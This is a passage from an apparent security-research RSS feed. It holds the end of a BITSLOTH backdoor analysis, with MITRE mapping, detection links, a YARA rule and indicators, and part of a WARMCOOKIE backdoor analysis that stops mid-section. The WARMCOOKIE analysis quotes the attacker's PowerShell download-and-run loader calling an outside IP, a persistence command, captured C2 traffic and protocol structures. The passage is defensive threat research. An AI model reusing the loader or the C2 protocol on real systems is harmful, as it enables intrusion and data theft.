<p>The handler leverages common screenshot APIs such as <strong>CreateCompatibleBitmap</strong> and <strong>BitBlt</strong> from <code>Gdi32.dll</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image32.png" alt="BITSLOTH screen capture using Windows APIs" /></p>
<p>For recording keystrokes, BITSLOTH uses traditional techniques by monitoring key presses using <strong>GetAsyncKeyState</strong>/<strong>GetKeyState</strong>. The handler has an argument for the number of seconds to perform the keylogging. This data is also compressed in a <code>.ZIP</code> file and sent outbound to the C2 server.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image8.png" alt="Keylogger functionality inside BITSLOTH" /></p>
<h4>Execution / Maintenance</h4>
<p>BITSLOTH has multiple capabilities around maintenace and file execution as well as standard backdoor functionalities such as:</p>
<ul>
<li>Capability to execute files stand-alone via <strong>ShellExecuteW</strong></li>
<li>Windows terminal capability to execute commands and read data back via pipes</li>
<li>Create directories, perform reboots, shutdown the machine, terminate processes</li>
<li>Perform file upload and download between C2 server</li>
<li>Modify BITSLOTH configuration such as communication modes, update C2 URL, turn off keylogging/screenshot features</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image11.png" alt="BITSLOTH’s CMD terminal" /></p>
<h2>BITSLOTH pivots</h2>
<p>BITSLOTH appears to be actively deployed. We identified another BITSLOTH C2 server (<code>15.235.132[.]67</code>) using the same port (<code>8443</code>) with the same <a href="https://www.shodan.io/search?query=ssl.cert.serial%3A253c1c0bbf58e1f509fc4468de462ed8872f81d9">SSL certificate</a> used from our intrusion.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image20.png" alt="Shodan SSL certificate matches" /></p>
<p>While it’s not exactly clear who’s behind BITSLOTH, there was a large amount of activity of VirusTotal uploads occurring on December 12, 2021. With around 67 uploads over 24 hours from one submitter (<code>1fcc35ea</code>), we suspect someone linked to this project was validating detections, making modifications, and uploading different versions of BITSLOTH to VirusTotal. One sample was packed with VMProtect, others stripped of functionality, some uploads were debug builds, etc.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image23.png" alt="BITSLOTH - VirusTotal Submitter (1fcc35ea)" /></p>
<p>A lot of time has passed since then, but it is interesting seeing this family show up in a recent intrusion. Whatever the objective behind this malware, it's surprising that this family remained under the radar for so many years.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image3.png" alt="Different PDB paths from BITSLOTH uploads" /></p>
<h3>REF 8747 through MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<p>[h4] Tactics
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1197/">BITS Jobs</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1090/">Proxy</a></li>
</ul>
<h2>Detecting REF8747</h2>
<h3>Detection</h3>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/endpoint-rules/blob/0f01f1a9e2ac08e9ead74cafd4d73cb8166f9fc8/rules/windows/persistence_execution_via_bits_setnotifycmdline_method.toml">Persistence via BITS Job Notify Cmdline</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_lsass_access_attempt_via_ppl_bypass.toml">LSASS Access Attempt via PPL Bypass</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_lsass_access_attempt_from_an_unsigned_executable.toml">LSASS Access Attempt from an Unsigned Executable</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_parent_child_relationship.toml">Suspicious Parent-Child Relationship</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_credential_access_via_known_utilities.toml">Credential Access via Known Utilities</a></li>
<li>Shellcode Injection</li>
</ul>
<h4>YARA Signatures</h4>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Mimikatz.yar">Windows.Hacktool.Mimikatz</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BITSloth.yar">Windows.Trojan.BITSloth</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Iox.yar">Windows.Hacktool.Iox</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Rubeus.yar">Windows.Hacktool.Rubeus</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Certify.yar">Windows.Hacktool.Certify</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_RingQ.yar">Windows.Hacktool.RingQ</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_GodPotato.yar">Windows.Hacktool.GodPotato</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Hacktool_Stowaway.yar">Multi.Hacktool.Stowaway</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify BITSLOTH:</p>
<pre><code>rule Windows_Trojan_BITSLOTH_05fc3a0a {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-07-16&quot;
        last_modified = &quot;2024-07-18&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.BITSLOTH&quot;
  	 license = &quot;Elastic License v2&quot;

    strings:
        $str_1 = &quot;/%s/index.htm?RspID=%d&quot; wide fullword
        $str_2 = &quot;/%s/%08x.rpl&quot; wide fullword
        $str_3 = &quot;/%s/wu.htm&quot; wide fullword
        $str_4 = &quot;GET_DESKDOP&quot; wide fullword
        $str_5 = &quot;http://updater.microsoft.com/index.aspx&quot; wide fullword
        $str_6 = &quot;[U] update error...&quot; wide fullword
        $str_7 = &quot;RMC_KERNEL ...&quot; wide fullword
        $seq_global_protocol_check = { 81 3D ?? ?? ?? ?? F9 03 00 00 B9 AC 0F 00 00 0F 46 C1 }
        $seq_exit_windows = { 59 85 C0 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A 02 EB ?? 56 EB }
    condition:
        2 of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/bitsloth">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>4a4356faad620bf12ff53bcfac62e12eb67783bd22e66bf00a19a4c404bf45df</td>
<td>SHA-256</td>
<td><code>s.dll</code></td>
<td>BITSLOTH</td>
</tr>
<tr>
<td>dfb76bcf5a3e29225559ebbdae8bdd24f69262492eca2f99f7a9525628006d88</td>
<td>SHA-256</td>
<td><code>125.exe</code></td>
<td>BITSLOTH</td>
</tr>
<tr>
<td>4fb6dd11e723209d12b2d503a9fcf94d8fed6084aceca390ac0b7e7da1874f50</td>
<td>SHA-256</td>
<td><code>setup_wm.exe</code></td>
<td>BITSLOTH</td>
</tr>
<tr>
<td>0944b17a4330e1c97600f62717d6bae7e4a4260604043f2390a14c8d76ef1507</td>
<td>SHA-256</td>
<td><code>1242.exe</code></td>
<td>BITSLOTH</td>
</tr>
<tr>
<td>0f9c0d9b77678d7360e492e00a7fa00af9b78331dc926b0747b07299b4e64afd</td>
<td>SHA-256</td>
<td><code>setup_wm.exe</code></td>
<td>BITSLOTH (VMProtect)</td>
</tr>
<tr>
<td>216.238.121[.]132</td>
<td>ipv4-addr</td>
<td>BITSLOTH C2 server</td>
<td></td>
</tr>
<tr>
<td>45.116.13[.]178</td>
<td>ipv4-addr</td>
<td>BITSLOTH C2 server</td>
<td></td>
</tr>
<tr>
<td>15.235.132[.]67</td>
<td>ipv4-addr</td>
<td>BITSLOTH C2 server</td>
<td></td>
</tr>
<tr>
<td>http ://updater.microsoft.com/index.aspx</td>
<td></td>
<td></td>
<td>BITSLOTH file indicator</td>
</tr>
<tr>
<td>updater.microsoft.com</td>
<td></td>
<td></td>
<td>BITSLOTH file indicator</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master">https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master</a></li>
<li><a href="https://github.com/T4y1oR/RingQ">https://github.com/T4y1oR/RingQ</a></li>
<li><a href="https://github.com/EddieIvan01/iox">https://github.com/EddieIvan01/iox</a></li>
<li><a href="https://github.com/ph4ntonn/Stowaway/">https://github.com/ph4ntonn/Stowaway/</a></li>
</ul>
<h2>About Elastic Security Labs</h2>
<p>Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.</p>
<p>Follow Elastic Security Labs on Twitter <a href="https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor">@elasticseclabs</a> and check out our research at <a href="https://www.elastic.co/pt/security-labs/">www.elastic.co/security-labs/</a>.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/Security Labs Images 29.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Dipping into Danger: The WARMCOOKIE backdoor]]></title>
            <link>https://www.elastic.co/pt/security-labs/dipping-into-danger</link>
            <guid>dipping-into-danger</guid>
            <pubDate>Wed, 12 Jun 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs observed threat actors masquerading as recruiting firms to deploy a new malware backdoor called WARMCOOKIE. This malware has standard backdoor capabilities, including capturing screenshots, executing additional malware, and reading/writing files.]]></description>
            <content:encoded><![CDATA[<h2>WARMCOOKIE at a glance</h2>
<p>Elastic Security Labs observed a wave of email campaigns in late April targeting environments by deploying a new backdoor we’re calling WARMCOOKIE based on data sent through the HTTP cookie parameter. During initial triage, our team identified code overlap with a previously publicly reported <a href="https://esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign">sample</a> by eSentire. The unnamed sample (<code>resident2.exe</code>) discussed in the post appears to be an older or deviated version of WARMCOOKIE. While some features are similar, such as the implementation of string obfuscation, WARMCOOKIE contains differing functionality. Our team is seeing this threat distributed daily with the use of recruiting and job themes targeting individuals.</p>
<p>WARMCOOKIE appears to be an initial backdoor tool used to scout out victim networks and deploy additional payloads. Each sample is compiled with a hard-coded C2 IP address and RC4 key.</p>
<p>This post will review an observed campaign and this new malware’s functionality. While the malware has a limited number of capabilities, it shouldn’t be taken lightly as it’s actively being used and impacting organizations at a global scale.</p>
<h2>Key takeaways</h2>
<ul>
<li>REF6127 represents recruiting-themed phishing campaigns to deploy a new Windows backdoor: WARMCOOKIE</li>
<li>WARMCOOKIE is a newly discovered backdoor used to fingerprint a machine, capture screenshots of the victim machine, and deploy additional payloads</li>
<li>Threat actors are spinning up new domains and infrastructure weekly to support these campaigns</li>
<li>This research includes an IDAPython script to decrypt strings from WARMCOOKIE</li>
<li>Elastic Security provides prevention and visibility capabilities across the entire WARMCOOKIE infection chain</li>
</ul>
<h2>REF6127 campaign overview</h2>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image10.png" alt="WARMCOOKIE execution flow" title="WARMCOOKIE execution flow" /></p>
<p>Since late April 2024, our team has observed new phishing campaigns leveraging lures tied to recruiting firms. These emails targeted individuals by their names and their current employer, enticing victims to pursue new job opportunities by clicking a link to an internal system to view a job description. Below is an example of the phishing email collected from previous open source reporting.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image14.png" alt="Phishing email - Subject: “We’re Interested”" title="Phishing Email - Subject: “We’re Interested”" /></p>
<p>Once clicked, the users hit a landing page that looks like a legitimate page specifically targeted for them. There, they are prompted to download a document by solving a CAPTCHA challenge. The landing pages resemble previous campaigns documented by Google Cloud’s security team when discussing a new variant of <a href="https://cloud.google.com/blog/topics/threat-intelligence/rm3-ldr4-ursnif-banking-fraud/">URSNIF</a>. Below is an example of the landing page collected from previous open source reporting.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image6.png" alt="Landing page" title="Landing page" /></p>
<p>Once the CAPTCHA is solved, an obfuscated JavaScript file is downloaded from the page. Our sample was named <code>Update_23_04_2024_5689382.js</code>; however, other samples used a different but similar naming structure.</p>
<p>This obfuscated script runs PowerShell, kicking off the first task to load WARMCOOKIE.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image17.png" alt="Initial execution chain as seen in Elastic Security for Endpoint" title="Initial execution chain as seen in Elastic Security for Endpoint" /></p>
<p>The PowerShell script abuses the Background Intelligent Transfer Service (BITS) to download WARMCOOKIE and run the DLL with the <code>Start</code> export.</p>
<pre><code class="language-powershell">start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + 
    [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 
    'http://80.66.88[.]146/data/5fb6dd81093a0d6812c17b12f139ce35' 
    -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d + 
    ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job
</code></pre>
<h3>REF6127 infrastructure overview</h3>
<p>By leveraging tools like <a href="https://urlscan.io/ip/45.9.74.135">urlscan.io</a> and <a href="https://www.virustotal.com/gui/ip-address/45.9.74.135/relations">VirusTotal</a>, we observed the threat actor continually generating new landing pages rapidly on IP address <code>45.9.74[.]135</code>. The actor pushed to target different recruiting firms in combination with keywords related to the job search industry.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image3.png" alt="Domains associated with 45.9.74[.]135" title="Domains associated with 45.9.74[.]135" /></p>
<p>Before hitting each landing page, the adversary distances itself by using compromised infrastructure to host the initial phishing URL, which redirects the different landing pages.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image21.png" alt="Phishing link redirection" title="Phishing link redirection" /></p>
<p>The threat actor generates new domains while the reputation catches up with each domain after each campaign run. At the time of writing, the threat actor can be seen pivoting to fresh domains without many reputation hits.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image18.png" alt="Reputation for recently generated domains" title="Reputation for recently generated domains" /></p>
<h2>WARMCOOKIE malware anlaysis</h2>
<p>WARMCOOKIE is a Windows DLL used by the threat actor in two different stages. The first stage occurs right after the PowerShell download with the execution of WARMCOOKIE using the <code>Start</code> export.</p>
<h3>Stage 1</h3>
<p>Stage 1 copies the downloaded DLL from a temporary directory with a random name, such as: <code>wid4ta3v.3gm,</code> and places a copy of the DLL at <code>C:\ProgramData\RtlUpd\RtlUpd.dll</code></p>
<p>After the copy, the malware sets up persistence using COM with the Windows Task Scheduler to configure the DLL to run with the following parameters.</p>
<pre><code class="language-cmd">&quot;C:\WINDOWS\system32\rundll32.exe&quot; &quot;C:\ProgramData\RtlUpd\RtlUpd.dll&quot;,Start /p
</code></pre>
<p>With this design choice, WARMCOOKIE will run with System privileges from the Task Scheduler Engine. Below is a screenshot from <a href="https://tria.ge/240528-2dhvdagb62/behavioral1">Hatching Triage</a> showing these two stages:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image13.png" alt="WARMCOOKIE - Execution chain" title="WARMCOOKIE - Execution chain" /></p>
<h4>Persistence</h4>
<p>A critical part of the infection chain comes from the scheduled task, which is set up at the very beginning of the infection. The task name (<code>RtlUpd</code>) is scheduled to run every 10 minutes every day.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image34.png" alt="Persistence - Scheduled Task" title="Persistence - Scheduled Task" /></p>
<h3>Stage 2</h3>
<p>The second stage is where the DLL is combined with the command line (<code>Start /p</code>) and contains the core functionality of WARMCOOKIE. The malware starts by looking for the DLL inside the temporary directory from the PowerShell download.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image23.png" alt="Initial code within WARMCOOKIE" title="Initial code within WARMCOOKIE" /></p>
<h4>Obfuscation</h4>
<p>WARMCOOKIE protects its strings using a custom string decryption algorithm. The first four bytes of each encrypted string in the <code>.rdata</code> section represent the size, the next four-bytes represent the RC4 key, and the remaining bytes represent the string.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image22.png" alt="String Obfuscation - Legend" title="String Obfuscation - Legend" /></p>
<p>Below is the CyberChef recipe using the bytes from the screenshot above:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image9.png" alt="String Decryption via CyberChef" title="String Decryption via CyberChef" /></p>
<p>One interesting observation is that the malware developer doesn’t always rotate the RC4 key between the encrypted strings.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image1.png" alt="Same RC4 key for different encrypted string" title="Same RC4 key for different encrypted string" /></p>
<h4>Dynamic API loading</h4>
<p>To prevent static analysis from identifying its core functionality, WARMCOOKIE uses dynamic API loading. There is no API hashing/resolving, and the targeted DLLs and sensitive strings are protected using encryption.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image32.png" alt="Dynamic API loading within WARMCOOKIE" title="Dynamic API loading within WARMCOOKIE" /></p>
<p>As demonstrated in the previous image, the developer shows some consideration for OpSec: any decrypted string is wiped from memory immediately after use, potentially avoiding memory signature scans.</p>
<h4>Anti-debugging</h4>
<p>The malware contains a few anti-analysis checks commonly used to target sandboxes. These are based on logic for checking the active number of CPU processors and physical/virtual memory values.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image40.png" alt="Sandbox verification" title="Sandbox verification" /></p>
<p>Below are the following conditions:</p>
<ul>
<li>If the number of processors is greater than or equal to 4 and the calculated value from the <code>GlobalMemoryStatusEx</code> call is greater than or equal to 0xF00, the malware will continue execution</li>
<li>If the number of processors is greater than or equal to 8, the malware will continue execution</li>
<li>If the calculated value from the <code>GlobalMemoryStatusEx</code> call is greater than <code>0x2000</code>, the malware will continue execution</li>
</ul>
<h4>Mutex</h4>
<p>Each WARMCOOKIE sample comes hard coded with a GUID-like string as a mutex. Below are some examples we have observed:</p>
<ul>
<li><code>f92e6f3c-9cc3-4be0-966c-1be421e69140</code></li>
<li><code>91f785f4-2fa4-4c85-954d-b96768ca76f2</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image35.png" alt="Setup before main functionality, including mutex creation" title="Setup before main functionality, including mutex creation" /></p>
<p>Before the main functionality is executed, WARMCOOKIE uses an OR statement to verify the command-line arguments with <code>/p</code> returns <code>True</code> or to check whether the scheduled task persistence needs to be created.</p>
<h4>Execution</h4>
<p>Before the backdoor makes its first outbound network request, it captures the following values used to fingerprint and identify the victim machine.</p>
<ul>
<li>Volume serial number</li>
<li>DNS domain of the victim machine</li>
<li>Computer name</li>
<li>Username</li>
</ul>
<p>This was a criteria used to identify the similarities to the malware in eSentire’s <a href="https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign">report</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image8.png" alt="Checksum calculations similar to eSentire's report" title="Checksum calculations similar to eSentire's report" /></p>
<p>The WARMCOOKIE C2 server likely leverages a CRC32 checksum function to verify content sent from the victim machine. Inside WARMCOOKIE itself is a checksum function that takes an input string, a length, and an initial seed value for the CRC32 function. At the beginning of the function, the seed value is negated, so at different times, the checksum function is called with different seeds. We believe the developer added this step to make it a little harder for researchers to analyze and waste time.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image31.png" alt="Beginning of CRC32 checksum function" title="Beginning of CRC32 checksum function" /></p>
<p>The following three checksum calculations are encrypted with RC4 and sent through the HTTP cookie parameter:</p>
<ul>
<li>CRC32(c2_message_data)</li>
<li>CRC32(mutex) ^ volume serial number</li>
<li>CRC32(username) ^ CRC32(computer name)</li>
</ul>
<p>Below is the implementation in Python with a usage example in the Appendix:</p>
<pre><code class="language-python">def calculate_checksum(str_input, str_len, i):
    if i == 0:
        i = 0xFFFFFFFF
    if i == -1:
        i = 0

    for idx in range(0, str_len, 2):
        v6 = str_input[idx] | (str_input[idx + 1] &lt;&lt; 8)
        for _ in range(16):
            if (v6 ^ i) &amp; 1:
                i = ((i &gt;&gt; 1) ^ 0xEDB88320) &amp; 0xFFFFFFFF
            else:
                i = (i &gt;&gt; 1) &amp; 0xFFFFFFFF
            v6 &gt;&gt;= 1

    return ~i &amp; 0xFFFFFFFF
</code></pre>
<h4>Communication</h4>
<p>WARMCOOKIE samples communicate over HTTP with a hardcoded IP address. The family uses a combination of RC4 and Base64 to protect its network traffic. The RC4 key is embedded in each sample. We have observed the same key being used in multiple samples. The key during this analysis is <code>24de21a8dc08434c</code></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image11.png" alt="Hardcoded RC4 key being decrypted" title="Hardcoded RC4 key being decrypted" /></p>
<p>The malware uses a custom structure to send the initial request to the C2 server, including the previously described checksum values and several fields used to track the offsets and size of the variable data.</p>
<p>These values are sent through the HTTP cookie parameter using the following custom structure:</p>
<pre><code class="language-cpp">enum request_type
{ 
    REGISTRATION = 1, 
    COMMAND = 2 
};

struct os_info
{
    int major_version;
    int minor_version;
    int build_number;
    int version_calc;
};

struct initial_request
{
    int checksum_c2_message_data;
    int checksum_volume_mutex;
    int checksum_computer_name_username;
    request_type request_type;
    os_info os_ver;
    int offset_to_dns_domain;
    int size_base64_dns_domain;
    int offset_to_base64_computer_name;
    int size_base64_computer_name;
    int offset_to_base64_username;
    int size_base64_username;
    char base64_dns_domain[]; // Variable-length array
    char base64_username[]; // Variable-length array
    char base64_computer_name[]; // Variable-length array 
};
</code></pre>
<p>The first request to the C2 server is sent through a GET request using User Agent: <code>Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705</code>.</p>
<pre><code class="language-curl">GET http://185.49.69[.]41/ HTTP/1.1
Cookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)
Host: 185.49.69[.]41
Connection: Keep-Alive
Pragma: no-cache
</code></pre>
<p>Below is the CyberChef recipe of the HTTP cookie parameter decrypted from the first request, followed by a legend of the fields:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image24.png" alt="Decryption of HTTP cookie via CyberChef" title="Decryption of HTTP cookie via CyberChef" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image20.png" alt="Decryption of HTTP cookie parameters via ImHex" title="Decryption of HTTP cookie parameters via ImHex" /></p>
<p>WARMCOOKIE inserts a few integrity checks by generating hashes using the previously described checksum function. For example, the data in the decrypted HTTP cookie parameter from the 4th byte to the end is hashed and placed at the beginning (offset 0). Using the example above, this checksum value is <code>0xe51387e9</code></p>
<p>Before the malware can receive instructions, integrity checks are also used to verify the incoming response from the C2 server. In this scenario, the C2 server produces the expected checksum for the data sent to the victim machine. This is located in the first four bytes of the request.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image7.png" alt="Checksum verification from incoming server request" title="Checksum verification from incoming server request" /></p>
<p>Below is a demonstration of this integrity check where the request data’s hash is <code>0x50d26cc3</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image39.png" alt="Integrity check via CyberChef" title="Integrity check via CyberChef" /></p>
<p>If the checksum matches, WARMCOOKIE reads the command ID at the 8th-byte offset of the request to proceed to move to the next command handler.</p>
<h3>Bot functionality</h3>
<p>WARMCOOKIE provides 7 command handlers for threat actors to retrieve additional victim information, record screenshots, launch additional payloads, etc. The provided functionality is relatively straightforward, allowing threat groups that need a lightweight backdoor to monitor victims and deploy further damaging payloads such as ransomware.</p>
<table>
<thead>
<tr>
<th>Command ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Retrieve victim details</td>
</tr>
<tr>
<td>2</td>
<td>Record screenshots of victim machine</td>
</tr>
<tr>
<td>3</td>
<td>Retrieve installed programs via Uninstall registry path</td>
</tr>
<tr>
<td>4</td>
<td>Command-line execution (cmd.exe /c)</td>
</tr>
<tr>
<td>5</td>
<td>Write file to victim machine</td>
</tr>
<tr>
<td>6</td>
<td>Read file from victim machine</td>
</tr>
<tr>
<td>10</td>
<td>Delete scheduled task persistence</td>
</tr>
</tbody>
</table>
<h4>Retrieve victim details - command ID (1)</h4>
<p>This handler fingerprints and identifies the victim machines by collecting the IP address and CPU information. Interestingly, the imports required for this handler are statically imported.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image16.png" alt="Retrieving CPU info (Handler 1)" title="Retrieving CPU info (Handler 1)" /></p>
<p>The malware uses HTTP <code>POST</code> requests when sending data back to the C2 server. The HTTP POST request data is encrypted via RC4 and sent over the network in raw form. In addition, the IP address and CPU information are Base64 encoded.</p>
<pre><code class="language-curl">POST http://185.49.69[.]41/ HTTP/1.1
Cookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)
Host: 185.49.69.41
Content-Length: 136
Connection: Keep-Alive
Pragma: no-cache

  qI:f*m  yڂ  z ? !  ,!w   k i A  K    k8 .(M ޣ&gt; ދ  u[ôz  0 -U~    9 z G(  *X  o_  _      * Y, q  glTs   XI8b\)W   W&quot;
</code></pre>
<p>After decrypting the HTTP POST request data, this presents a similar structure as before, where the data is front-loaded with the checksum values, offsets, and sizes to the pertinent information targeted by the handler. In this case, the Base64 encoded data is the IP Address and CPU info.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image36.png" alt="Decrypted POST Request Data from Handler 1" title="Decrypted POST Request Data from Handler 1" /></p>
<table>
<thead>
<tr>
<th>Encoded Value</th>
<th>Decoded Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>MTkyLjE2OC4xODIuMTMx</td>
<td>192.168.182.131</td>
</tr>
<tr>
<td>QU1EIFJ5emVuIDcgNzgwMFgzRCA4LUNvcmUgUHJvY2Vzc29yICAgICAgICAgICA=</td>
<td>AMD Ryzen 7 7800X3D 8-Core Processor</td>
</tr>
</tbody>
</table>
<h4>Screenshot capture - command ID (2)</h4>
<p>The ability to capture screenshots from victim machines provides a wide range of malicious options, such as stealing sensitive information displayed on the screen or actively monitoring the victim’s machine. This handler dynamically loads Windows DLLs used for graphics and drawing operations, such as <code>GDI32.DLL</code> and <code>GDIPLUS.DLL</code>, and then uses various APIs, such as <code>BitBlt</code>,<code>CreateCompatibleBitmap</code>, and <code>GetSystemMetrics</code> to generate the screenshot.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image26.png" alt="Screen capture via BitBlt" title="Screen capture via BitBlt" /></p>
<p>The collected screenshot is encrypted with RC4 and sent through a POST request along with the checksum data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image38.png" alt="Decrypted POST Request Data from Handler 3" title="Decrypted POST Request Data from Handler 3" /></p>
<p>By looking for the file header <code>JPEG File Interchange Format (JFIF)</code>, we can carve out the image, and find a high-quality image of our sandbox machine (below) based on our request to this handler.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dipping-into-danger/image29.jpg" alt="Desktop capture from VM sandbox" title="Desktop capture from VM sandbox" /></p>
<h4>Retrieve installed programs - command ID (3)</h4>
